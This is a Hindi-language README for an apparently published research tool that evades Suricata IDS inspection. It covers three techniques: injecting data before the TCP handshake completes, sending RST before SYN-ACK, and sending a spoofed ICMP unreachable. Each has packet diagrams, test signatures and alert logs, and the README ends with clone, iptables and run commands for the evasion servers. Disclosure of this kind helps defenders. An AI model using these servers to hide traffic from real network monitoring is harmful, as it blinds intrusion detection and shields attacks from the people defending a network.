
IDS बाइपास ट्रिक्स
ये प्रोग्राम केवल शैक्षिक उद्देश्य के लिए हैं। अनुमति के बिना इसका उपयोग न करें।
यदि सर्वर साइड के रूप में आप सामान्य TCP 3-वे हैंडशेक पैकेट क्रम को तोड़ते हैं और 3whs पूरा होने से पहले कुछ प्रतिक्रिया डेटा इंजेक्ट करते हैं, तो डेटा अभी भी क्लाइंट द्वारा प्राप्त किया जाएगा लेकिन कुछ IDS इंजन उस पर सामग्री जांच छोड़ सकते हैं।
Client -> [SYN] [Seq=0 Ack=0] -> Evil Server # Client starts a TCP 3-way handshake
Client <- [SYN, ACK] [Seq=0 Ack=1] <- Evil Server # Server responses as it should, but ...
Client <- [PSH, ACK] [Seq=1 Ack=1] <- Evil Server # It sends HTTP response before the 3whs is completed
Client <- [FIN, ACK] [Seq=83 Ack=1] <- Evil Server # Moreover it finishes TCP session
Client -> [ACK] [Seq=1 Ack=84] -> Evil Server # Client finishes TCP 3whs by sending ACK packet and confirms data from server
Client -> [PSH, ACK] [Seq=1 Ack= 4] -> Evil Server # Then it sends a HTTP GET request as nothing wrong happened
Suricata IDS < 4.0.4 इस समस्या से ग्रस्त है: HTTP या स्ट्रीम-टीसीपी सिग्नेचर इंजेक्टेड सामग्री पर अलर्ट नहीं करेंगे। हम PoC नेटवर्क ट्रैफ़िक के विरुद्ध निम्नलिखित सिग्नेचर लागू करने पर एक दुष्ट http प्रतिक्रिया डेटा पर कोई अलर्ट नहीं देखते हैं
alert tcp any any -> any any (msg: "TCP BEEN NO_STREAM RULE"; flow: no_stream; content: "been"; sid: 1; )
alert tcp any any -> any any (msg: "TCP BEEN ONLY_STREAM RULE"; flow: only_stream; content: "been"; sid: 2; )
alert http any any -> any any (msg: "HTTP BEEN RULE"; content: "been"; sid: 3; )
alert tcp any any -> any any (msg: "TCP GET NO_STREAM RULE"; flow: no_stream; content: "GET"; sid: 4; )
alert tcp any any -> any any (msg: "TCP GET ONLY_STREAM RULE"; flow: only_stream; content: "GET"; sid: 5; )
alert http any any -> any any (msg: "HTTP GET RULE"; content: "GET"; sid: 6; )
03/02/2018-11:08:13.012990 [**] [1:1:0] TCP BEEN NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.101:80 -> 192.168.235.1:56581
03/02/2018-11:08:13.013610 [**] [1:4:0] TCP GET NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80
03/02/2018-11:08:13.018914 [**] [1:5:0] TCP GET ONLY_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80
03/02/2018-11:08:13.018914 [**] [1:6:0] HTTP GET RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80
विंडोज़ क्लाइंट TCP डेटा को प्रोसेस कर सकते हैं भले ही वे TCP RST पैकेट के तुरंत बाद आए हों। कुछ IDS इसे सही ढंग से प्रोसेस करते हैं और RST के बाद डेटा मैच करने का प्रयास करते हैं, लेकिन कुछ RST प्राप्त होने के बाद TCP स्ट्रीम का निरीक्षण रोक देते हैं।
Client -> [SYN] [Seq=0 Ack=0] -> Evil Server # Client starts a TCP 3-way handshake
Client <- [RST, ACK] [Seq=0x0 Ack=1] <- Evil Server # Server responses with TCP RST
Client <- [SYN, ACK] [Seq=1 Ack=1] <- Evil Server # And SYN-ACK shortly after RST
... 3whs continues ...
Suricata IDS अभी भी इस समस्या से ग्रस्त है: HTTP या स्ट्रीम-टीसीपी सिग्नेचर इस टीसीपी सत्र पर अलर्ट नहीं करेंगे।
alert tcp any any -> any any (msg: "TCP BEEN NO_STREAM RULE"; flow: no_stream; content: "been"; sid: 1; )
alert tcp any any -> any any (msg: "TCP BEEN ONLY_STREAM RULE"; flow: only_stream; content: "been"; sid: 2; )
alert http any any -> any any (msg: "HTTP BEEN RULE"; content: "been"; sid: 3; )
alert tcp any any -> any any (msg: "TCP GET NO_STREAM RULE"; flow: no_stream; content: "GET"; sid: 4; )
alert tcp any any -> any any (msg: "TCP GET ONLY_STREAM RULE"; flow: only_stream; content: "GET"; sid: 5; )
alert http any any -> any any (msg: "HTTP GET RULE"; content: "GET"; sid: 6; )
05/03/2018-19:13:43.270632 [**] [1:4:0] TCP GET NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:53434 -> 192.168.235.101:80
05/03/2018-19:13:43.471128 [**] [1:1:0] TCP BEEN NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.101:80 -> 192.168.235.1:53434
सर्वर को ICMP संदेश प्रकार "Destination Unreachable" कोड "Port Unreachable" के साथ उत्तर देना चाहिए यदि एक UDP पैकेट एक बंद UDP पोर्ट पर भेजा गया था। IDS ICMP अनरीचेबल उत्तरों को TCP RST पैकेट्स के समान तरीके से व्याख्या कर सकता है और इस UDP स्ट्रीम के ट्रैफ़िक निरीक्षण को रोक या सीमित कर सकता है। यदि ICMP संदेश के बाद एक सामान्य UDP उत्तर आता है, तो हमलावर अपने सर्वर से ट्रैफ़िक के UDP जांचों को बायपास करता है। ध्यान दें कि सामान्य क्लाइंट कनेक्शन बंद कर देते हैं यदि ICMP Dest. Unreachable प्राप्त होता है, इसलिए हम ICMP संदेश के संलग्न UDP में IP पतों और UDP पोर्ट्स को आपस में बदल देते हैं ताकि क्लाइंट ऐसे ICMP संदेश को स्वीकार न करे लेकिन IDS करता है।
Client -> [UDP Req] -> Evil Server # Client starts UDP session by sending a packet
Client <- [ICMP] [Type=3, Code=3] <- Evil Server # Server responses with *improved* ICMP Destination Unreachable first
Client <- [UDP Resp] <- Evil Server # And with UDP answer as usual
Suricata IDS < 3.1.2 इस समस्या से ग्रस्त है: UDP सिग्नेचर दुष्ट सर्वर से पैकेट पर मैच नहीं करेंगे।
alert udp any any -> any any (msg: "UDP BEEN RULE"; content: "been"; sid: 1; )
alert udp any any -> any any (msg: "UDP HELLO RULE"; content: "hello"; sid: 2; )
05/03/2018-03:44:11.016635 [**] [1:2:0] UDP HELLO RULE [**] [Classification: (null)] [Priority: 3] {UDP} 192.168.235.100:46599 -> 192.168.235.101:80
ये तकनीक अन्य इंट्रूज़न डिटेक्शन या नेटवर्क मॉनिटरिंग टूल्स और सिस्टम्स पर लागू की जा सकती हैं।
Kirill Shipulin, Positive Technologies से (@kirill_wow) मेरे Hackfest 2018 टॉक से स्लाइड्स उपलब्ध
git clone https://github.com/kirillwow/ids_bypass.git
cd ids_bypass
make
# inject server
sudo iptables -A OUTPUT -p tcp --sport 80 --tcp-flags RST RST -j DROP
sudo ./inject_server # print help
sudo ./inject_server -i eno16777736 -p 80
# rst server
sudo iptables -A OUTPUT -p tcp -o eno16777736 --sport 80 -m owner --uid-owner 0 --tcp-flags RST RST -j ACCEPT
sudo iptables -A OUTPUT -p tcp -o eno16777736 --sport 80 --tcp-flags RST RST -j DROP
sudo ./rst_server # print help
sudo ./rst_server -i eno16777736 -p 80
# icmp server
sudo iptables -A OUTPUT -o eno16777736 -p icmp --icmp-type destination-unreachable -m owner --uid-owner 0 -j ACCEPT
sudo iptables -A OUTPUT -o eno16777736 -p icmp --icmp-type destination-unreachable -j DROP
sudo ./icmp_server # print help
sudo ./icmp_server -i eno16777736 -p 80
